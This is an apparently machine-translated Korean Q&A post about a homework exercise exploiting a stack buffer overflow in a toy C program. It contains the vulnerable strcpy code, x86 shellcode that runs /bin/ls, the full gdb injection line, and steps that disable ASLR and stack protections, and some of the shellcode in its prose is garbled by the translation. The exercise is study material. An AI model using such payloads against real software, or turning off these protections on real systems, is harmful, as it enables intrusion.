2011-08-06 3 views
4

Backtrack Linux에서 간단한 버퍼 오버 플로우 기술을 익히는 것을 배우려고합니다. 여기 숙제 - bufferoverflow를 이용할 수 없음

이 간단 /bin/ls \ X31 \ xc0 \ X83 \ XEC \ X01 \ x88 \ X04 \ X24 \ X68 \ x6e에 해당하는 내가 사용하고있는 쉘 코드가있다

#include <stdio.h> 
#include <string.h> 

int main(int argc, char **argv) 
{ 
    char buffer[500]; 
    if(argc==2) 
    { 

    strcpy(buffer, argv[1]); //vulnerable function 

    } 

    return 0; 
} 

내 C 프로그램입니다 \ x2 \ x6 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ x64 \ XD2 \ XCD \ X80 \ xb0 \ X01 \ X31 \ XDB \ XCD \ X80 나는 다음과 같은 명령을 사용하여 GDB에서이 쉘 코드를 주입 ​​

run $(python -c 'print "\x90" * 331 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x0c\xd3\xff\xff"*35') 

응용 프로그램을 단계별로 실행하면 최종 ret 명령에 SIG FAULT가 생성됩니다. 이 시점에서 은 0xffffd30c으로 올바르게 설정됩니다. 이 주소는 주소 지정 가능하며 페이로드에 표시된대로 쉘 코드가 뒤 따르는 NOP 시리즈를 포함합니다.

나는 sudo echo 0 > /proc/sys/kernel/randomize_va_space

ASLR 를 사용할 수 있으며 내 바이너리를 사용 fno-stack-protector 옵션을 집계했다.

SIGSEGV의 원인은 무엇입니까?

+0

당신이 GDB 출력을 게시 할 수 이것은 다음과 같이 GCC에서 비활성화 할 수 있습니다? 여분의 눈 세트는 무언가 잡는 데 도움이 될 수 있습니다. – pepsi

+0

@pepsi : 문제가 발견되었습니다. 스택 영역이 실행 가능하지 않고 gcc를 사용하여 활성화했습니다 –

+0

모두 같은 프로젝트에서 다시 작업하고 있습니까? http://stackoverflow.com/questions/6962770/shellcodes-not-working –

답변

5

난 내 자신의 질문에 대답 한 문제는 실행할 수 없습니다 스택 메모리에서 "실행 스택 보호"이었다.

gcc -z execstack